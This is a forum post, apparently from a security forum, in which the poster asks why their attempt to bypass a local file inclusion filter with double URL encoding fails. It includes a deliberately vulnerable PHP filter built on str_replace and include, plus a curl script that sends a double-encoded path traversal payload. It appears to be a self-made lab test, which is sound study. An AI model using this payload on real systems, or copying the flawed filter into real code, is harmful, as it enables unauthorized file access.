04-03-2017, 07:25 PM
Hi guys,
I'm trying to bypass a lfi filter using double encoding:
https://www.owasp.org/index.php/Double_Encoding
I made three files to see whether it would work, but it doesn't, it will remove everything except the file name.
../include.php: the file I want to include
test.php: lfi filter that I try to bypass
exploit.php: the script that sends the payload
Any help would be greatly appreciated.
Thanks in advance!
I'm trying to bypass a lfi filter using double encoding:
https://www.owasp.org/index.php/Double_Encoding
I made three files to see whether it would work, but it doesn't, it will remove everything except the file name.
../include.php: the file I want to include
PHP Code:
<?php
echo"hi";
?>
test.php: lfi filter that I try to bypass
PHP Code:
<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
$_GET['sFile'] = str_replace("../","",strtolower($_GET['sFile']));
$_GET['sFile'] = str_replace("./","",$_GET['sFile']);
$_GET['sFile'] = str_replace("%2e%2e%2f","",$_GET['sFile']);
$_GET['sFile'] = str_replace("%2e%2f","",$_GET['sFile']);
include($_GET['sFile']);
?>
exploit.php: the script that sends the payload
PHP Code:
<?php
$ch = curl_init();
/* double encoding of "../" => "%252E%252E%252F" */
curl_setopt($ch, CURLOPT_URL, "http://url/lfitest/tst/test.php?sFile=%252E%252E%252Finclude.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$sOutput = curl_exec($ch);
curl_close($ch);
echo $sOutput;
?>
Any help would be greatly appreciated.
Thanks in advance!